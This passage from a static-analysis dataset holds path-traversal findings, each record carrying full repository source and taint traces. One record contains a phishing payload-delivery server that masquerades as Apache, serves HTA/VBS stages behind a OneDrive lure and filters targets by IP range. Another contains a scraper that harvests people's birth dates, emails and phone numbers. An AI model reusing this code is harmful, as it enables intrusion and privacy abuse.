start_index + math.ceil(lines / THREAD_COUNT)\n if end_index > lines + 1: end_index = lines + 1\n th = RDS_Thread(i, start_index, end_index, stock_scrape)\n th.start()\n t_rds.append(th)\n\n start_index = end_index\n\n\ndef totalimports_category_scrape(stock_scrape=0):\n global t_totalimports_cat, t_totalimports\n t_totalimports_cat = TotalImports_Category_Thread(stock_scrape)\n t_totalimports_cat.start()\n\n\ndef totalimports_thread_start(thread_index, stock_scrape=0):\n global t_totalimports, t_totalimports_delay\n products_url_txt = open(\"totalimports_products_url.txt\",\"r\")\n lines = len(products_url_txt.readlines())\n \n start_index = 0 \n \n for i in range(THREAD_COUNT):\n end_index = start_index + math.ceil(lines / THREAD_COUNT)\n if end_index > lines + 1: end_index = lines + 1\n if i == thread_index :\n th = TotalImports_Thread(i, start_index, end_index, stock_scrape)\n th.start()\n if thread_index < len(t_totalimports):\n t_totalimports[thread_index] = th\n t_totalimports_delay[thread_index] = 0\n else:\n t_totalimports.append(th)\n t_totalimports_delay.append(0)\n break\n\n start_index = end_index\n\n\ndef totalimports_scrape(stock_scrape=0):\n for i in range(THREAD_COUNT):\n totalimports_thread_start(i, stock_scrape)\n\n\ndef origo_category_scrape(stock_scrape=0):\n global t_origo_cat, t_origo\n t_origo_cat = Origo_Category_Thread(stock_scrape)\n t_origo_cat.start()\n\n\ndef origo_scrape(stock_scrape=0):\n global t_origo\n products_url_txt = open(\"origo_products_url.txt\",\"r\")\n lines = len(products_url_txt.readlines())\n \n start_index = 0 \n \n for i in range(THREAD_COUNT):\n end_index = start_index + math.ceil(lines / THREAD_COUNT)\n if end_index > lines + 1: end_index = lines + 1\n th = RDS_Thread(i, start_index, end_index, stock_scrape)\n th.start()\n t_origo.append(th)\n\n start_index = end_index", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 341, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 365, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 365, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 365, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 369, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "76700bced4a16d6ec945277cbb81fab765cc711ee388cfd468e5fa24451cea11", "license": {"spdx": ["MIT"], "repo": "nguyenhuong791123/api", "path": "urls/pdfapi.py", "repo_head_hexsha": "cbefc2f3cb882d5655ed9ebdcfe42be1af69cc89", "stack_hexsha": "04d172b116b50455fa28c12702c21c07b5062290", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 30, "entireCode": "# -*- coding: UTF-8 -*-\nfrom flask import Blueprint, Flask, jsonify, request, make_response\nimport pdfkit\nfrom utils.cm.utils import is_exist\nfrom utils.cm.files import delete_dir\nfrom utils.pdf.pdfkits import *\n\napp = Blueprint('pdfapi', __name__)\n\n# curl -v -H \"Content-type: application/json\" -X POST http://192.168.10.126:8084/pdf\n# curl -XPOST -F file=@index.html -F file=@index.css -F file=@style.css http://192.168.10.126:8084/pdf > test.pdf\n@app.route('/pdf', methods=[ 'GET', 'POST' ])\ndef pdf():\n obj = {}\n if request.method == 'POST':\n if request.json is not None:\n if is_json(request.json):\n obj = request.json\n else:\n obj = get_forms(request)\n\n # options = {}\n # options['orientation'] = 'Portrait'\n # obj['options'] = options\n result = get_pdf(obj)\n if result is not None and is_exist(result, 'msg') == False:\n response = make_response()\n filename = result['filename']\n fullpath = result['path'] + '/' + filename\n response.data = open(fullpath, 'rb').read()\n response.headers['Content-Disposition'] = \"attachment; filename=\" + filename\n response.mimetype = 'application/pdf'\n\n delete_dir(result['path'])\n return response\n else:\n if result is None:\n result = { 'msg': 'Json Data is error !!!' }\n return jsonify(result), 200", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_forms"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_pdf"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "26"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "resultpdf.result[\"filename\"]"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "resultpdf.result[\"path\"]"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "b6fccbc8583f0396024f532fa38f471faa4ad24ad3e157bee44ccd323f16b2c3", "license": {"spdx": ["MIT"], "repo": "magnusstubman/mal00", "path": "lib/web.py", "repo_head_hexsha": "e99cad410657bf0452cae02d81d89c211732a789", "stack_hexsha": "a9c994abd4d5787cc770b409bf0ea0c4399fdfc2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 178, "entireCode": "import os\nimport ssl\nimport ipaddress\nimport hashlib\nfrom ipaddress import *\nimport asyncio\nimport pyminizip\nimport base64\nimport datetime\nfrom time import gmtime, strftime\nfrom aiohttp import web\nimport urllib.parse\nfrom shutil import copyfile\n\nimport sys\nimport pycdlib\nfrom io import BytesIO\n\n\nstage0UrlPrefix = '/documents/lang/'\nstage1UrlPrefix = '/documents/grammar/'\nonedriveUrlPrefix = '/onedrive/auth/'\n\n\ndef createGETCallback(cb):\n global callback\n callback = cb\n\n async def handleWeb(request):\n data = request.match_info.get('data', '')\n\n try:\n data = urllib.parse.unquote(data)\n data = base64.b64decode(data)\n except:\n return web.Response(status=404, content_type='text/html', headers={'Server': 'Apache/2.4'})\n\n peername = request.transport.get_extra_info('peername')\n if peername is not None:\n host, port = peername\n\n global callback\n ret = callback(data, host)\n\n if ret:\n ret = str(base64.b64encode(ret),'ascii')\n return web.Response(text=ret, content_type='text/html', headers={'Server': 'Apache/2.4'})\n return web.Response(status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})\n\n return handleWeb\n\ndef createPOSTCallback(cb):\n global callback\n callback = cb\n\n async def handleWeb(request):\n if request.can_read_body:\n data = await request.read()\n\n data = str(data, 'utf-8')\n #try:\n if '%' in data:\n data = urllib.parse.unquote(data)\n data = base64.b64decode(data)\n #except:\n # return web.Response(status=404, headers={'Server': 'Apache/2.4'})\n\n peername = request.transport.get_extra_info('peername')\n if peername is not None:\n host, port = peername\n\n global callback\n ret = callback(data, host)\n\n if ret:\n ret = str(base64.b64encode(ret),'ascii')\n return web.Response(text=ret, headers={'Server': 'Apache/2.4'})\n return web.Response(status=200, headers={'Server': 'Apache/2.4'})\n\n return handleWeb\n\ndef log(request, s):\n ua = ''\n\n try:\n if (request.headers[\"User-Agent\"]):\n ua = request.headers[\"User-Agent\"]\n except Exception as e:\n pass\n\n peername = request.transport.get_extra_info('peername')\n\n host = ''\n if peername is not None:\n host, port = peername\n\n t = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n #print(str(datetime.datetime.now().isoformat()) + ' ' + host + ' ' + s + ' ' + ua) \n print(t + ' ' + host + ' ' + s + ' ' + ua) \n\nasync def handleTelemetry(request):\n data = request.match_info.get('data', '')\n\n log(request, 'telemetry: ' + data)\n from pathlib import Path\n png = Path('tracking.png').read_bytes()\n\n return web.Response(body=png, status=200, content_type='image/png', headers={'Server': 'Apache/2.4'})\n\nasync def handleMalware(request):\n data = request.match_info.get('data', '')\n\n\n log(request, 'malware: ' + data)\n\n #from pathlib import Path\n #txt = Path('implants/hta/build/implant.html').read_text()\n txt = \"404\"\n\n return web.Response(text=txt, status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})\n\ndef isInTargetRange(request):\n filename = 'target-ranges.txt'\n if not os.path.exists(filename):\n return True\n\n peername = request.transport.get_extra_info('peername')\n host = ''\n if peername is not None:\n host, port = peername\n\n for line in open(filename, 'r').readlines():\n line = line.replace('\\n','').replace(' ','')\n if line == '':\n continue\n\n if ipaddress.ip_address(host) in ipaddress.ip_network(line):\n return True\n return False\n\nasync def handleStage0(request):\n password = request.match_info.get('password', '')\n filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\\\','')\n\n if not isInTargetRange(request):\n log(request, 'STAGE0 NOT TARGET RANGE! password: ' + password + ' filename: ' + filename)\n copyfile('benign.txt', filename + '.txt')\n pyminizip.compress(filename + '.txt', None, filename + '.zip', None, 3)\n else:\n log(request, 'STAGE0 password: ' + password + ' filename: ' + filename + '.zip')\n copyfile('stage0.hta', filename + '.hta')\n\n # create iso with stage0 hta inside\n f = open(filename + '.hta', 'rb')\n fileData = f.read()\n f.close()\n\n fileName = filename + '.hta'\n level1name = fileName.replace('.','').replace('-','').upper()[0:8]\n \n iso = pycdlib.PyCdlib()\n iso.new(joliet=3)\n iso.add_fp(BytesIO(fileData), len(fileData), '/' + level1name + '.;1', joliet_path='/' + fileName)\n iso.write(filename + '.iso')\n iso.close()\n\n \n if password == '0':\n password = None\n pyminizip.compress(filename + '.hta', None, filename + '.zip', password, 3)\n #pyminizip.compress(filename + '.iso', None, filename + '.zip', password, 3)\n\n if os.path.exists(filename + '.hta'):\n os.remove(filename + '.hta')\n if os.path.exists(filename + '.iso'):\n os.remove(filename + '.iso')\n\n ret = b''.join(open(filename + '.zip','rb').readlines())\n #ret = b''.join(open(filename + '.iso','rb').readlines())\n\n m = hashlib.md5()\n m.update(ret)\n md5sum = m.hexdigest()\n print('serving zip with md5sum: ' + md5sum)\n\n if os.path.exists(filename + '.zip'):\n os.remove(filename + '.zip')\n\n h = { 'accept-ranges': 'bytes',\n #'Content-Type': 'application/octetstream; charset=utf-8',\n 'Content-Disposition': 'attachment; filename=\"' + filename + '.zip\"',\n 'Content-Type': 'application/zip'}\n #'Content-Disposition': 'attachment; filename=\"' + filename + '.iso\"' }\n return web.Response(body=ret, status=200, headers=h)\n\nasync def handleStage1(request):\n h = { 'Server': 'Apache/2.4',\n 'Content-Type': 'text/plain; charset=utf-8'}\n\n if not isInTargetRange(request):\n log(request, 'STAGE1 NOT TARGET RANGE! Serving nothing')\n return web.Response(text='', status=404, headers=h)\n\n data = request.match_info.get('data', '')\n\n log(request, 'STAGE1 ' + data)\n \n ret = ''.join(open('stage1.vbs','r').readlines())\n return web.Response(text=ret, status=200, headers=h)\n\nasync def handle404(request):\n log(request, '404 ' + request.url)\n \n h = { 'Server': 'Apache/2.4' }\n return web.Response(status=404, headers=h)\n\n@web.middleware\nasync def error_middleware(request, handler):\n response = await handler(request)\n if response.status != 404:\n return response\n\n log(request, '404 ' + str(request.url))\n h = { 'Server': 'Apache/2.4' }\n return web.Response(status=404, headers=h)\n\n\nasync def handleOnedrive(request):\n password = request.match_info.get('password', '')\n filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\\\','')\n\n #if not isInTargetRange(request):\n log(request, 'ONEDRIVE password: ' + password + ' filename: ' + filename)\n\n ret = ''.join(open('onedrive.html','r').readlines())\n\n ret = ret.replace('DOWNLOADURLGOESHERE', stage0UrlPrefix + password + '/' + filename)\n ret = ret.replace('FILENAMEGOESHERE', filename + '.zip')\n\n h = { 'Server': 'Apache/2.4',\n 'Content-Type': 'text/html; charset=utf-8'}\n return web.Response(text=ret, status=200, headers=h)\n\n \nasync def startWebServer(cb):\n try:\n app = web.Application(middlewares=[error_middleware])\n #app = web.Application()\n app.add_routes([web.get('/{data}', createGETCallback(cb))])\n app.add_routes([web.post('/{data}', createPOSTCallback(cb))])\n\n #app.add_routes([web.get('/telemetry/{data}', handleTelemetry)])\n #app.add_routes([web.get('/delivery/{data}', handleMalware)])\n\n app.add_routes([web.get(stage0UrlPrefix + '{password}/{filename}', handleStage0)])\n app.add_routes([web.get(stage1UrlPrefix + '{data}', handleStage1)])\n\n app.add_routes([web.get(onedriveUrlPrefix + '{password}/{filename}', handleOnedrive)])\n\n #app.add_routes([web.static('/en', 'static')])\n\n #error_middleware = error_pages({404: handle404})\n #app.middlewares.append(error_middleware)\n\n\n runner = web.AppRunner(app)\n\n await runner.setup()\n\n if os.path.isfile('fullchain.pem') and os.path.isfile('privkey.pem'):\n print('fullchain.pem and privkey.pem found.')\n ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n ssl_ctx.load_cert_chain(certfile='fullchain.pem', keyfile='privkey.pem')\n ssl_site = web.TCPSite(runner, '0.0.0.0', 443, ssl_context=ssl_ctx)\n await ssl_site.start()\n print('TLS/SSL web server started on 0.0.0.0:443')\n else:\n print('fullchain.pem and privkey.pem not found. Cannot start SSL/TLS. Maybe have a go at certbot certonly --register-unsafely-without-email ?')\n\n site = web.TCPSite(runner, '0.0.0.0', 80)\n await site.start()\n\n print('cleartext HTTP web server started on 0.0.0.0:80')\n\n except asyncio.CancelledError:\n print('web server stopped.')\n runner.cleanup()", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 143, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 143, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.match_info"}}, {"lineNo": 143, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 143, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 143, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 178, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "766da30c16ab76471443c909f3f3179b553843463693e81394f50f14ab33cae5", "license": {"spdx": ["MIT"], "repo": "Super-Web112/python-scraping-for-hosting", "path": ".history/app/scrape_20201229173546.py", "repo_head_hexsha": "202c73f6f0b0458889a3a8468eade31e909b85a7", "stack_hexsha": "ae01c35b4160a8d0afcc4a50d7e585f1b741742c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 118, "entireCode": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponse, JsonResponse\n\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webelement import WebElement\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom app.models import ItalianName, City\nimport csv\nimport os\n\n@login_required(login_url=\"/login/\")\ndef scrape_data(request):\n scrape_name = request.GET.get('scrape_name', None)\n start_id = request.GET.get('start_id', None)\n end_id = request.GET.get('end_id', None)\n option = webdriver.ChromeOptions()\n option.add_argument(\"window-size=1280,800\")\n # option.add_argument(\"--headless\")\n # Setup wait for later\n # wait = WebDriverWait(driver, 10)\n \n driver = ''\n url = ''\n id = int(start_id)\n while(id <= int(end_id)):\n csv_file = \"csv_files/\"+scrape_name+\"_\"+str(id)+\".csv\"\n if os.path.exists(csv_file):\n os.remove(csv_file)\n try:\n CLICK_NEXT_BUTTON = True\n CLICK_NEXT_BUTTON_NUM = 0;\n aaaaaaaaaa = 0\n while (CLICK_NEXT_BUTTON):\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=option)\n driver.set_window_position(0, 0)\n # driver.set_window_size(0, 0)\n url = 'https://sfera.sferabit.com/servizi/alboonlineBoot/index.php?id='+str(id)\n driver.get(url)\n original_window = driver.current_window_handle\n # Check we don't have other windows open already\n assert len(driver.window_handles) == 1\n driver.switch_to.window(driver.window_handles[0])\n driver.implicitly_wait(10)\n name_input = driver.find_element(By.ID, 'filtroRagioneSociale')\n name_input.send_keys(scrape_name)\n # ActionChains(driver).move_to_element(name_input).key_up('Francesco', name_input).perform()\n # ActionChains(driver).move_to_element(name_input).send_keys(name_input, 'Francesco').perform()\n # ActionChains(driver).move_to_element(name_input).key_down(Keys.CONTROL).send_keys('Francesco').key_up(Keys.CONTROL).perform()\n send_button = driver.find_element(By.CSS_SELECTOR, 'button.btn-primary')\n ActionChains(driver).move_to_element(send_button).click(send_button).perform()\n driver.implicitly_wait(10)\n \n if (CLICK_NEXT_BUTTON):\n for i in range(CLICK_NEXT_BUTTON_NUM):\n next_button = driver.find_elements(By.CSS_SELECTOR, '#risultatoRicerca a')[2]\n ActionChains(driver).move_to_element(next_button).click(next_button).perform()\n driver.implicitly_wait(10)\n \n pros_num_table = driver.find_element(By.CSS_SELECTOR, '#risultatoRicerca>table')\n pros_num_td = pros_num_table.find_elements(By.TAG_NAME, 'td')[1].get_attribute('innerHTML').strip().split(' ')\n pros_now_num = pros_num_td[0].strip()\n pros_total_num = pros_num_td[2].strip()\n print(pros_now_num)\n print(pros_total_num)\n if(pros_total_num in pros_now_num):\n CLICK_NEXT_BUTTON = False\n else:\n CLICK_NEXT_BUTTON = True\n \n modal_buttons = driver.find_elements(By.CSS_SELECTOR, 'button.buttonAnagrafica')\n\n for modal_button in modal_buttons:\n ActionChains(driver).move_to_element(modal_button).click(modal_button).perform()\n driver.implicitly_wait(30)\n fonts = driver.find_elements(By.CSS_SELECTOR, '#modalPersona td')\n address = name = birth = email = pec = tel = phone = ''\n if(len(fonts) > 5):\n use_nums = [2, 3, 5]\n first_pros = []\n result_pros = []\n for use_num in use_nums:\n first_pros.extend(fonts[use_num].get_attribute(\"innerHTML\").strip().split(\"
\"))\n for first_pro in first_pros:\n temp = first_pro.replace(\" \", \" \").strip()\n temp1 = temp.lower()\n temp_flag = ('foro di appartenenza' in temp1) or (('data' in temp1) and ('nascita' in temp1)) or ('email' in temp1) or ('pec' in temp1) or ('tel' in temp1) or ('cell' in temp1)\n if(temp_flag):\n result_pros.append(temp)\n for result_pro in result_pros:\n if(\":\" in result_pro):\n rows = result_pro.split(\":\")\n temp = rows[0].lower()\n if(\"foro di appartenenza\" in temp):\n address = rows[1].strip()\n if(\"data\" in temp):\n birth = rows[1].strip()\n if(\"email\" in temp):\n email = result_pro.split(\">\")[1].strip()[:-3]\n if(\"pec\" in temp):\n pec = result_pro.split(\">\")[1].strip()[:-3]\n if(\"tel\" in temp):\n tel = rows[1].strip()\n if(\"cell\" in temp):\n phone = rows[1].strip()\n name = fonts[1].get_attribute(\"innerHTML\").split(\"\")[1].strip().split(\"\")[0].strip()\n print(address)\n print(name)\n print(birth)\n print(email)\n print(pec)\n print(tel)\n print(phone)\n with open(csv_file, mode='a') as employee_file:\n employee_writer = csv.writer(employee_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n employee_writer.writerow([address, name, birth, email, pec, tel, phone])\n aaaaaaaaaa = aaaaaaaaaa + 1\n print(aaaaaaaaaa)\n close_buttons = driver.find_element(By.CSS_SELECTOR, \"button.btn-secondary\")\n driver.implicitly_wait(10)\n ActionChains(driver).move_to_element(close_buttons).click(close_buttons).perform()\n driver.implicitly_wait(10)\n CLICK_NEXT_BUTTON_NUM = CLICK_NEXT_BUTTON_NUM + 1\n print(CLICK_NEXT_BUTTON)\n print(CLICK_NEXT_BUTTON_NUM)\n driver.implicitly_wait(10)\n driver.quit()\n except:\n driver.quit()\n print(\"id=\"+str(id)+\" is not support.\")\n continue\n finally:\n # driver.implicitly_wait(10)\n # driver.quit()\n id = id + 1\n print(str(id))\n \n \n data = {\n 'is_taken': 'sdfsdfsdfsdfsdf'\n }\n return JsonResponse(data)\n\n\n@login_required(login_url=\"/login/\")\ndef scrape_aaa(request):\n ItalianName.objects.all().delete()\n # username = request.GET.get('username', None)\n option = webdriver.ChromeOptions()\n option.add_argument(\"window-size=1280,800\")\n # option.add_argument(\"--headless\")\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=option)\n driver.set_window_position(0, 0)\n driver.get('https://www.nomix.it/nomi-italiani-maschili-e-femminili.php')\n urls = {'https://www.nomix.it/nomi-italiani-maschili-e-femminili.php', 'https://www.nomix.it/nomi-italiani-lettera-B.php', 'https://www.nomix.it/nomi-italiani-lettera-C.php', 'https://www.nomix.it/nomi-italiani-lettera-D.php', 'https://www.nomix.it/nomi-italiani-lettera-E.php', 'https://www.nomix.it/nomi-italiani-lettera-F.php', 'https://www.nomix.it/nomi-italiani-lettera-G.php', 'https://www.nomix.it/nomi-italiani-lettera-I.php', 'https://www.nomix.it/nomi-italiani-lettera-L.php', 'https://www.nomix.it/nomi-italiani-lettera-M.php', 'https://www.nomix.it/nomi-italiani-lettera-NO.php', 'https://www.nomix.it/nomi-italiani-lettera-PQ.php', 'https://www.nomix.it/nomi-italiani-lettera-R.php', 'https://www.nomix.it/nomi-italiani-lettera-S.php', 'https://www.nomix.it/nomi-italiani-lettera-TUV.php', 'https://www.nomix.it/nomi-italiani-lettera-WZ.php'}\n for url in urls:\n driver.get(url)\n driver.implicitly_wait(10)\n original_window = driver.current_window_handle\n # Check we don't have other windows open already\n assert len(driver.window_handles) == 1\n driver.switch_to.window(driver.window_handles[0])\n tables = driver.find_elements(By.TAG_NAME, 'table')\n male_tds = tables[2].find_elements(By.TAG_NAME, 'td')\n for male_td in male_tds:\n td_content = male_td.get_attribute('innerHTML')\n if('', '')\n td_content = td_content.replace('', '').strip()\n else:\n td_content = td_content.replace(' ', '')\n td_content = td_content.strip()\n print(td_content)\n italy_name = ItalianName(names_col=td_content, gender_col='male')\n italy_name.save()\n # italy_name.names_col = td_content\n # italy_name.gender_col = 'male'\n # italy_name.save()\n male_tds = tables[3].find_elements(By.TAG_NAME, 'td')\n for male_td in male_tds:\n td_content = male_td.get_attribute('innerHTML')\n if('', '')\n td_content = td_content.replace('', '').strip()\n else:\n td_content = td_content.replace(' ', '')\n td_content = td_content.strip()\n print(td_content)\n italy_name = ItalianName(names_col=td_content, gender_col='male')\n italy_name.save()\n driver.implicitly_wait(10)\n driver.quit()\n data = {\n 'is_taken': 'sdfsdfsdfsdfsdf'\n }\n return JsonResponse(data)\n@login_required(login_url=\"/login/\")\ndef scrape_name(request):\n # username = request.GET.get('username', None)\n i = 1080\n driver = ''\n while(i<=1086):\n try:\n option = webdriver.ChromeOptions()\n option.add_argument(\"window-size=1280,800\")\n # option.add_argument(\"--headless\")\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=option)\n driver.get('https://sfera.sferabit.com/servizi/alboonlineBoot/index.php?id='+str(i))\n original_window = driver.current_window_handle\n # Check we don't have other windows open already\n assert len(driver.window_handles) == 1\n driver.switch_to.window(driver.window_handles[0])\n\n name_input = driver.find_element(By.ID, 'filtroRagioneSociale')\n name_input.send_keys('an')\n send_button = driver.find_element(By.CSS_SELECTOR, 'button.btn-primary')\n ActionChains(driver).move_to_element(send_button).click(send_button).perform()\n driver.implicitly_wait(10)\n td = driver.find_element(By.CSS_SELECTOR, '#risultatoRicerca>table.table tr>td:last-child').get_attribute('innerHTML')\n td = td.split(\" \")[-2].strip()\n city = City(url_id=i, city_name=td)\n city.save()\n except:\n print(str(i)+\" does not support\")\n finally:\n i = i + 1\n driver.quit()\n data = {\n 'is_taken': 'sdfsdfsdfsdfsdf'\n }\n return JsonResponse(data)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.GET"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "82"}}, {"lineNo": 118, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "97e85c732c378694aae40a4c67ccb04ddb0b552f7985f3d0851d8770ac4ee31a", "license": {"spdx": ["MIT"], "repo": "pastchick3/AHRS", "path": "server.py", "repo_head_hexsha": "9507b01dff090ccbcff48d2fd3722765934a2036", "stack_hexsha": "59b63ae88c3fe164821c22b7985119b4f34fdf17", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 149, "entireCode": "import asyncio\nimport json\nimport re\nfrom itertools import cycle\nfrom threading import Thread\nfrom time import sleep\n\nimport serial\nfrom aiohttp import web\nfrom scipy import signal\n\n\nclass Sensor:\n\n # Serial message patterns.\n re_patterns = [\n r'(RPY) - Roll: (-?\\d+) \\| Pitch: (-?\\d+) \\| Yaw: (-?\\d+)',\n r'(ACC) - x: (-?\\d+) \\| y: (-?\\d+) \\| z: (-?\\d+)',\n r'(GYR) - x: (-?\\d+) \\| y: (-?\\d+) \\| z: (-?\\d+)',\n r'(MAG) - x: (-?\\d+) \\| y: (-?\\d+) \\| z: (-?\\d+)',\n ]\n\n def __init__(self, port='COM4', history=None):\n self._port = port\n self._close = False\n self._indexes = {\n 'RPY': 0,\n 'ACC': 0,\n 'GYR': 0,\n 'MAG': 0,\n }\n if history is not None:\n self._history = history\n self._thread = None\n else:\n self._history = {\n 'RPY': [],\n 'ACC': [],\n 'GYR': [],\n 'MAG': [],\n }\n self._thread = Thread(target=self._update)\n self._thread.start()\n\n def _update(self):\n self._ser = serial.Serial(self._port, 115200, timeout=0.1)\n self._ser.readline() # primer reading x2\n self._ser.readline()\n temp = {}\n while not self._close:\n while True:\n try:\n line = self._ser.readline().decode()\n except UnicodeDecodeError:\n # Truncated unicode may appear when the program just starts.\n continue\n else:\n break\n if line.startswith('END') and len(temp) == 4:\n for k, v in temp.items():\n self._history[k].append(v)\n temp = {}\n else:\n for pattern in self.re_patterns:\n match = 